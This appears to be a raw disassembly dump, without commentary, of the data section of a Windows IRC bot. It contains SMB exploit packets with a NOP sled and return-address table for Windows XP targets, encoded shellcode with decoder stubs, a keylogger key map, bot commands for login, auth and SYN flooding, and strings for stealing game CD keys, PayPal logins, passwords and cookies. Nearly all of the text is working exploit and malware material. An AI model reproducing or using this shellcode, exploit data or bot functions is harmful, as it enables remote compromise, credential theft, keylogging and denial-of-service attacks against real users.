6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_440B10 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:00410803o dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dword_440B44 dd 3F3F0000h, 3F3F3Fh, 0 ; DATA XREF: seg000:00410868o dword_440B50 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:004108E4o dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 2 dup(0) dword_440BC0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:00410923o dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_440C68 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:00410976o dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh dd 4 dup(90909090h), 0 dword_440D9C dd 7E0h, 4, 3 dup(0) ; DATA XREF: seg000:004109B3o dword_440DB0 dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h ; DATA XREF: seg000:004109A0o dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah dd 0E7FBA65Ah db 7Fh, 9Dh word_440E6A dw 551Ah ; DATA XREF: seg000:00410994w dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 2 dup(0) dword_440F10 dd 401150FFh, 0 ; DATA XREF: seg000:00410A4Co dword_440F18 dd 142FFA1h, 0 ; DATA XREF: seg000:00410A5Do dword_440F20 dd 401138FFh, 0 ; DATA XREF: seg000:00410A73o dword_440F28 dd 14308B9h, 0 ; DATA XREF: seg000:00410A84o dword_440F30 dd 320002h, 90909090h, 0ECC1F631h, 0CE4C10Ch, 0FB89E789h ; DATA XREF: seg000:00410B25o dd 748B016Ah, 0D231FE24h, 0E2C14252h, 56575210h db 0B8h byte_440F55 db 3 dup(0) ; DATA XREF: seg000:00410A51o ; seg000:00410A78o dd 8E8C100h, 0C08510FFh, 0DC890779h, 75F6854Eh, 90E7FFE1h dd 3 dup(90909090h) aRrrrrrrrrrrrrr db '',0 ; DATA XREF: seg000:loc_410A89o a1_1_1_1_1_1 db '1.1.1.1.1.1',0 aIa db 'ë€',0 align 4 dd 5EB02EBh, 0FFFFF9E8h, 0C08358FFh, 1A08D1Bh, 83FFFFFCh dd 0EC8BFCE4h, 0B966C933h, 3080020Ch, 0FAE24080h, 80BF6810h dd 0CE0E8080h, 7EF26C8Eh, 39039633h, 4752F835h, 151CE827h dd 0EA21EE9Ah, 475358BDh, 0BF086827h, 0F3F71ECAh, 0B2B3DFB2h dd 7C6D4B80h, 758959BBh, 0F09A242Dh, 0AE2D2447h, 6C96569h dd 0E4EDE3C9h, 0E4D2DA80h, 80B021E7h, 0B8CC00Bh, 0B2D9CF0h dd 720B88D8h, 6F017E0Bh, 80808180h, 883149B3h, 80811068h dd 7FD6D280h, 0BDA60D7h, 87460358h, 853149B3h, 8081FC68h dd 80036880h, 1E68080h, 0D481106Ch, 808181E8h, 6CD77F80h dd 40B36C0Bh, 0D0D0D0D0h, 0D0C0D0C0h, 0B70D77Fh, 0C547E658h dd 0E6808280h, 8082C547h, 84C547D0h, 80808080h, 0D3D590EAh dd 574D77Fh, 0C062F540h, 0D77FD3D0h, 0D3D0D078h, 0B7CD77Fh dd 0B340B358h, 0D7913149h, 2B737D0Bh, 80C546DFh, 0BCDD09C4h dd 9B8DD09h, 47E6C0DDh, 8181ACC5h, 0D0C4C50Dh, 0D1D1D1D5h dd 0D1C9D1C1h, 7FD1D6D1h, 40B350D7h, 0D77FD0C8h, 0B340B354h dd 0D7913149h, 2B737D0Bh, 0C4CD0DDFh, 0D0D0D5D1h, 80EA84EAh dd 0D0D6D0D0h, 150D77Fh, 8084806Ch, 8087E880h, 7FD48081h dd 0D77FC8F5h, 0E8C0EA58h, 80809080h, 80D080E8h, 7F80EA80h dd 0D77FC4F5h, 1580B5Ch, 80818043h, 0A41C0980h, 80808038h dd 34A41C09h, 0B808080h, 8484A40Ch, 0C1478080h, 1010107Bh dd 7FC14610h, 2690110h, 0EA808081h, 9080E880h, 0D0D18080h dd 7FC4F57Fh, 7FD460D7h, 0D77FC8F5h, 0C8F57F64h, 0B368D77Fh dd 7FD0C840h, 0D5D354D7h, 0EC0BD7D6h, 0C50B98A4h, 85D40BBCh dd 0B5583F8h, 0DA0B98CAh, 635D83A0h, 0B40BC9B9h, 0B375830Bh dd 40B37C7Fh, 0F444BA2Ch, 1010108Bh, 8D4F4110h, 6E6B7883h dd 94A4FCBBh, 0DA0B5DF5h, 0E65D83A4h, 0BCB8C0Bh, 5D839CDAh dd 830B840Bh, 10856B45h, 40B31010h, 0DEDF550Bh, 8442DBDDh dd 7FD3D180h, 7F1868B6h, 2D2B7F7Fh, 7162D9DBh, 43h, 4Fh dd 4Eh, 41h, 42h, 41h, 43h, 41h, 0C1h, 41h, 0C3h, 41h dd 0C9h, 41h, 0CAh, 41h, 0CBh, 41h, 0CCh, 41h, 0CDh, 41h dd 0CEh, 41h, 0CFh, 41h, 0D0h aFb db 'fìÐ',7,0 ; DATA XREF: seg000:00410FCEo align 4 dword_441258 dd 129F74h, 0 ; DATA XREF: seg000:00411234o dword_441260 dd 127D78h, 0 ; DATA XREF: seg000:00411294o dword_441268 dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 3D137381h, 836F5088h ; DATA XREF: seg000:00410FFBo dd 0F4E2FCEBh, 22BBE2C1h, 90AF71D5h, 3DBE8C2h, 2ADBAC19h dd 6A2C0301h, 0E4BF8945h, 30DB9072h, 26BB891Dh, 6EDBBCB6h dd 0F690B9D3h, 1B900C91h, 629A493Ah, 9BBB4A3Ch, 4774DC06h dd 30DB6D48h, 9BB8919h, 0E41B84B6h, 84519462h, 0E6DBA43Eh dd 0E4CAC51h, 0B8BB9FEh, 0E460CBB6h, 1FDB847Dh, 2FDB2521h dd 0E138D635h, 3FBC8673h, 3C365EC2h, 5D63E05Bh, 5D23FF55h dd 0BFAFDC62h, 93BD4355h, 0B9AFD806h, 9B50162h, 6D5865BCh dd 9052E268h, 6689E0EDh, 900725C8h, 3C03DBEBh, 3C13DB6Eh dd 0BFAFDB7Eh, 0A857E05Bh, 8ED9DB5Bh, 75F4E0A8h, 90074F4Dh dd 3E40E2EBh, 7807768h, 867E2599h, 3C86776Ah, 7807768h dd 26D6C1D8h, 3F86776Ah, 9005DC69h, 88381BEDh, 38294E44h dd 90055EC2h, 0B3AEEEDh, 233E05Bh, 3F3A6DB4h, 0E69CA164h dd 0E614E2DAh, 9C90B9DFh, 42127697h, 0FC7CCAC3h, 0C468F2B0h dd 1D382396h, 90463BC3h, 0B9AFCC48h, 3E02DF66h, 6E3AD96Ch dd 3E05D96Ch, 0C23858C2h, 3C9E8DE4h, 903A5EC2h, 0BFAFBFC2h dd 0ECACDFB6h, 0B9AFECF9h, 780776Fh, 305402CDh, 9086776Eh dd 6F5088EDh, 2 dup(0) dword_4413C8 dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h ; DATA XREF: seg000:00410FE1o dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h dd 61D5E0h, 433D94h dword_44140C dd 77BD3143h ; DATA XREF: seg000:00410FB9r dword_441410 dd 7FCh ; DATA XREF: seg000:00410FB3r byte_441414 db 1 ; DATA XREF: seg000:004111D3r ; seg000:004111FAr ... align 4 dd offset aWindowsXpSp01E ; "Windows XP SP0+1 ENG" dd 77C03143h, 7FCh, 1, 433D68h, 77BD1F89h, 7FCh, 1, 433D54h dd 77BD1FA8h, 7FCh, 1, 433D40h, 77BD1FD6h, 7FCh, 1, 433D2Ch dd 77BD2195h, 7FCh, 1, 433D18h, 77BD21B3h, 7FCh, 1, 433D04h dd 77BD21E0h, 7FCh, 1, 433CF0h, 77BD220Ch, 7FCh, 1, 433CDCh dd 77BD2241h, 7FCh, 1, 433CC8h, 77BD22D2h, 7FCh, 1, 433CB4h dd 77BD28B2h, 7FCh, 1, 433CA0h, 77BD29ABh, 7FCh, 1, 433C8Ch dd 77BD29E7h, 7FCh, 1, 433C78h, 77BD29F7h, 7FCh, 1, 433C64h dd 77BD2A03h, 7FCh, 1, 433C50h, 77BD2D6Dh, 7FCh, 1, 433C3Ch dd 77BD2DB3h, 7FCh, 1, 433C28h, 77BD2EC2h, 7FCh, 1, 433C14h dd 77BD2EDDh, 7FCh, 1, 433C00h, 77BD30AFh, 7FCh, 1, 433BECh dd 77BD312Bh, 7FCh, 1, 433BD8h, 77BD3160h, 7FCh, 1, 433BC4h dd 77BD349Ah, 7FCh, 1, 433BB0h, 77BD34E4h, 7FCh, 1, 433B94h dd 655B4F02h, 7E7h, 0 dd offset aWindowsUkXp_23 ; "Windows uk xp pro sp1 1" dd 77C01F89h, 7FCh, 1, 433B64h, 77C01FA8h, 7FCh, 1, 433B4Ch dd 77C01FD6h, 7FCh, 1, 433B34h, 77C02195h, 7FCh, 1, 433B1Ch dd 77C021B3h, 7FCh, 1, 433B04h, 77C021E0h, 7FCh, 1, 433AECh dd 77C0220Ch, 7FCh, 1, 433AD4h, 77C02241h, 7FCh, 1, 433ABCh dd 77C022D2h, 7FCh, 1, 433AA0h, 77C028B2h, 7FCh, 1, 433A84h dd 77C029ABh, 7FCh, 1, 433A68h, 77C029E7h, 7FCh, 1, 433A4Ch dd 77C029F7h, 7FCh, 1, 433A30h, 77C02A03h, 7FCh, 1, 433A14h dd 77C02A39h, 7FCh, 1, 4339F8h, 77C02D6Dh, 7FCh, 1, 4339DCh dd 77C02DB3h, 7FCh, 1, 4339C0h, 77C02EC2h, 7FCh, 1, 4339A4h dd 77C02EDDh, 7FCh, 1, 433988h, 77C030AFh, 7FCh, 1, 43396Ch dd 77C0312Bh, 7FCh, 1, 433950h, 77C03143h, 7FCh, 1, 433934h dd 77C03160h, 7FCh, 1, 433918h, 77C0349Ah, 7FCh, 1, 4338FCh dd 77C034E4h, 7FCh, 1, 4338E4h, 77B920FDh, 7FCh, 1, 4338CCh dd 77B9211Ch, 7FCh, 1, 4338B4h, 77B9214Ah, 7FCh, 1, 43389Ch dd 77B9230Ch, 7FCh, 1, 433884h, 77B9232Ah, 7FCh, 1, 43386Ch dd 77B92357h, 7FCh, 1, 433854h, 77B92383h, 7FCh, 1, 43383Ch dd 77B923B8h, 7FCh, 1, 433824h, 77B92448h, 7FCh, 1, 433808h dd 77B92AAAh, 7FCh, 1, 4337ECh, 77B92BA7h, 7FCh, 1, 4337D0h dd 77B92BE3h, 7FCh, 1, 4337B4h, 77B92BF3h, 7FCh, 1, 433798h dd 77B92BFFh, 7FCh, 1, 43377Ch, 77B92F78h, 7FCh, 1, 433760h dd 77B92FBEh, 7FCh, 1, 433744h, 77B930EFh, 7FCh, 1, 433728h dd 77B9310Dh, 7FCh, 1, 43370Ch, 77B9330Ch, 7FCh, 1, 4336F0h dd 77B93388h, 7FCh, 1, 4336D4h, 77B9339Eh, 7FCh, 1, 4336B8h dd 77B933BAh, 7FCh, 1, 43369Ch, 77B9373Dh, 7FCh, 1, 433680h dd 77B9378Ah, 7FCh, 1, 433668h, 77B920FDh, 7FCh, 1, 433650h dd 77B9211Ch, 7FCh, 1, 433638h, 77B9214Ah, 7FCh, 1, 433620h dd 77B9230Ch, 7FCh, 1, 433608h, 77B9232Ah, 7FCh, 1, 4335F0h dd 77B92357h, 7FCh, 1, 4335D8h, 77B92383h, 7FCh, 1, 4335C0h dd 77B923B8h, 7FCh, 1, 4335A8h, 77B92448h, 7FCh, 1, 43358Ch dd 77B92AAAh, 7FCh, 1, 433570h, 77B92BA7h, 7FCh, 1, 433554h dd 77B92BE3h, 7FCh, 1, 433538h, 77B92BF3h, 7FCh, 1, 43351Ch dd 77B92BFFh, 7FCh, 1, 433500h, 77B92F78h, 7FCh, 1, 4334E4h dd 77B92FBEh, 7FCh, 1, 4334C8h, 77B930EFh, 7FCh, 1, 4334ACh dd 77B9310Dh, 7FCh, 1, 433490h, 77B9330Ch, 7FCh, 1, 433474h dd 77B93388h, 7FCh, 1, 433458h, 77B9339Eh, 7FCh, 1, 43343Ch dd 77B933BAh, 7FCh, 1, 433420h, 77B9373Dh, 7FCh, 1, 433404h dd 77B9378Ah, 7FCh, 1, 4333F8h, 41414141h, 7FCh, 1, 4333E0h dd 77E14C29h, 7FCh, 1, 4333C8h, 77E3CB4Ch, 7FCh, 1, 4333B0h dd 77E42C75h, 7FCh, 1, 433398h, 77E3C256h, 7FCh, 1, 433380h dd 77E2AFC5h, 7FCh, 1, 433368h, 77E2492Bh, 7FCh, 1, 433350h dd 77E4FF15h, 7FCh, 1, 433338h, 77E33F4Dh, 7FCh, 1, 8 dd 62h, 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 3 dup(0) dd offset dword_435158 dd offset off_435154 dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" a_login_1 db ':.login',0 dd 4 dup(0) aLogin_2 db ':,login',0 dd 4 dup(0) aLogin_3 db ':!login',0 dd 4 dup(0) a@login db ':@login',0 dd 4 dup(0) aLogin_4 db ':$login',0 dd 4 dup(0) aLogin_5 db ':%login',0 dd 4 dup(0) aLogin_6 db ':^login',0 dd 4 dup(0) aLogin_7 db ':&login',0 dd 4 dup(0) aLogin_8 db ':*login',0 dd 4 dup(0) aLogin_9 db ':-login',0 dd 4 dup(0) aLogin_10 db ':+login',0 dd 4 dup(0) aLogin_11 db ':/login',0 dd 4 dup(0) aLogin_12 db ':\login',0 dd 4 dup(0) aLogin_13 db ':=login',0 dd 4 dup(0) a?login db ':?login',0 dd 4 dup(0) aLogin_14 db ':',27h,'login',0 dd 4 dup(0) aLogin_15 db ':`login',0 dd 4 dup(0) aLogin_16 db ':~login',0 dd 4 dup(0) aLogin_17 db ': login',0 dd 4 dup(0) a_auth db ':.auth',0 align 4 dd 4 dup(0) aAuth db ':,auth',0 align 10h dd 4 dup(0) aAuth_0 db ':!auth',0 align 4 dd 4 dup(0) a@auth db ':@auth',0 align 10h dd 4 dup(0) aAuth_1 db ':$auth',0 align 4 dd 4 dup(0) aAuth_2 db ':%auth',0 align 10h dd 4 dup(0) aAuth_3 db ':^auth',0 align 4 dd 4 dup(0) aAuth_4 db ':&auth',0 align 10h dd 4 dup(0) aAuth_5 db ':*auth',0 align 4 dd 4 dup(0) aAuth_6 db ':-auth',0 align 10h dd 4 dup(0) aAuth_7 db ':+auth',0 align 4 dd 4 dup(0) aAuth_8 db ':/auth',0 align 10h dd 4 dup(0) aAuth_9 db ':\auth',0 align 4 dd 4 dup(0) aAuth_10 db ':=auth',0 align 10h dd 4 dup(0) a?auth db ':?auth',0 align 4 dd 4 dup(0) aAuth_11 db ':',27h,'auth',0 align 10h dd 4 dup(0) aAuth_12 db ':`auth',0 align 4 dd 4 dup(0) aAuth_13 db ':~auth',0 align 10h dd 4 dup(0) aAuth_14 db ': auth',0 align 4 dd 4 dup(0) a_id db ':.id',0 align 10h dd 4 dup(0) aId_0 db ':,id',0 align 4 dd 4 dup(0) aId_1 db ':!id',0 align 10h dd 4 dup(0) a@id db ':@id',0 align 4 dd 4 dup(0) aId_2 db ':$id',0 align 10h dd 4 dup(0) aId_3 db ':%id',0 align 4 dd 4 dup(0) aId_4 db ':^id',0 align 10h dd 4 dup(0) aId_5 db ':&id',0 align 4 dd 4 dup(0) aId_6 db ':*id',0 align 10h dd 4 dup(0) aId_7 db ':-id',0 align 4 dd 4 dup(0) aId_8 db ':+id',0 align 10h dd 4 dup(0) aId_9 db ':/id',0 align 4 dd 4 dup(0) aId_10 db ':\id',0 align 10h dd 4 dup(0) aId_11 db ':=id',0 align 4 dd 4 dup(0) a?id db ':?id',0 align 10h dd 4 dup(0) aId_12 db ':',27h,'id',0 align 4 dd 4 dup(0) aId_13 db ':`id',0 align 10h dd 4 dup(0) aId_14 db ':~id',0 align 4 dd 4 dup(0) aId_15 db ': id',0 align 10h dd 4 dup(0) a_hashin_0 db ':.hashin',0 align 4 dd 3 dup(0) aHashin_0 db ':!hashin',0 align 10h aHashin_1 db ':$hashin',0 align 4 dd 3 dup(0) aHashin_2 db ':%hashin',0 align 10h a_secure db ':.secure',0 align 4 dd 3 dup(0) aSecure_1 db ':!secure',0 align 10h a_l db ':.l',0 dd 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) a_syn db ':.syn',0 align 4 dd 4 dup(0) aSyn_0 db ':!syn',0 align 10h dd 4 dup(0) aSyn_1 db ':$syn',0 align 4 dd 4 dup(0) aSyn_2 db ':%syn',0 align 10h dd 4 dup(0) aCdkey_0 db ' CDKey ',0 dd 4 dup(0) aJoin_1 db 'JOIN #',0 align 10h dd 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) dd 80000001h off_442AA4 dd offset aSoftwareValveC ; DATA XREF: sub_4185EA+Cr ; sub_4185EA+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_442AB0 dd 2 dup(0) ; DATA XREF: sub_4185EA+26o dd 80000001h, 4369A8h, 43699Ch, 43698Ch, 2 dup(0) dd 80000001h, 43696Ch, 436968h, 436954h, 2 dup(0) dd 80000001h, 436930h, 436968h, 436924h, 2 dup(0) dd 80000001h, 436900h, 4368F8h, 4368E4h, 2 dup(0) dd 80000001h, 4368D0h, 4368C0h, 4368A4h, 2 dup(0) dd 80000001h, 436860h, 4369E8h, 43684Ch, 2 dup(0) dd 80000002h, 436820h, 436814h, 4367F4h, 2 dup(0) dd 80000002h, 4367C0h, 4369E8h, 4367A8h, 2 dup(0) dd 80000002h, 436774h, 4369E8h, 43675Ch, 2 dup(0) dd 80000002h, 436744h, 4369E8h, 43672Ch, 2 dup(0) dd 80000002h, 4366F0h, 42B633h, 4366E0h, 2 dup(0) dd 80000002h, 4366A8h, 42B633h, 436694h, 2 dup(0) dd 80000002h, 436648h, 42B633h, 436628h, 2 dup(0) dd 80000002h, 4365D8h, 42B633h, 4365A8h, 2 dup(0) dd 80000002h, 43656Ch, 42B633h, 436558h, 2 dup(0) dd 80000002h, 436520h, 42B633h, 436510h, 2 dup(0) dd 80000002h, 4364C0h, 42B633h, 436490h, 2 dup(0) dd 80000002h, 436450h, 42B633h, 436430h, 2 dup(0) dd 80000002h, 436400h, 42B633h, 4363E0h, 2 dup(0) dd 80000002h, 4363A4h, 42B633h, 436390h, 2 dup(0) dd 80000002h, 436348h, 42B633h, 436324h, 2 dup(0) dd 80000002h, 4362D0h, 42B633h, 4362A0h, 2 dup(0) dd 80000002h, 436250h, 42B633h, 436224h, 2 dup(0) dd 80000002h, 4361E4h, 4361DCh, 4361BCh, 2 dup(0) dd 80000002h, 436178h, 42B633h, 43615Ch, 2 dup(0) dd 80000002h, 436110h, 42B633h, 4360ECh, 2 dup(0) dd 80000002h, 4360B8h, 42B633h, 4360ACh, 2 dup(0) dd 80000002h, 436078h, 42B633h, 43606Ch, 2 dup(0) dd 80000002h, 436038h, 42B633h, 43602Ch, 2 dup(0) dd 80000002h, 435FF8h, 42B633h, 435FECh, 2 dup(0) dd 80000002h, 435FB0h, 42B633h, 435F9Ch, 2 dup(0) dd 80000002h, 435F60h, 42B633h, 435F4Ch, 2 dup(0) dd 80000002h, 435F1Ch, 4369E8h, 435F00h, 2 dup(0) dd 80000002h, 435EE0h, 435ED8h, 435EB4h, 2 dup(0) dd 80000002h, 435E98h, 435ED8h, 435E78h, 2 dup(0) dd 80000002h, 435E58h, 435ED8h, 435E34h, 2 dup(0) dd 80000002h, 435E1Ch, 435ED8h, 435E18h, 2 dup(0) dd 80000002h, 435DFCh, 435DECh, 435DE4h, 2 dup(0) dd 80000002h, 435DB0h, 42F4DCh, 435D98h, 2 dup(0) dd 80000002h, 435D5Ch, 435D50h, 435D28h, 435D18h, 435D04h dd 80000002h, 435CE0h, 435CD4h, 435CC0h, 435CB0h, 435CA8h dd 80000002h, 435CE0h, 435CD4h, 435C7Ch, 435CB0h, 435C74h dd 80000002h, 435CE0h, 435CD4h, 435C44h, 435CB0h, 435C3Ch dd 6 dup(0) off_442ED8 dd offset aQ ; DATA XREF: sub_41A293+5Cr ; "q" dd offset aW_0 ; "w" dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset aY_0 ; "y" dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_5 ; "s" dd offset aD_0 ; "d" dd offset aF_1 ; "f" dd offset aG_0 ; "g" dd offset asc_437920 ; "h" dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42FA20 ; "l" dd offset aZ_0 ; "z" dd offset asc_437918 ; "x" dd offset aC ; "c" dd offset aV ; "v" dd offset aB_0 ; "b" dd offset aN ; "n" dd offset aM_0 ; "m" dd offset aQ_0 ; "Q" dd offset aW 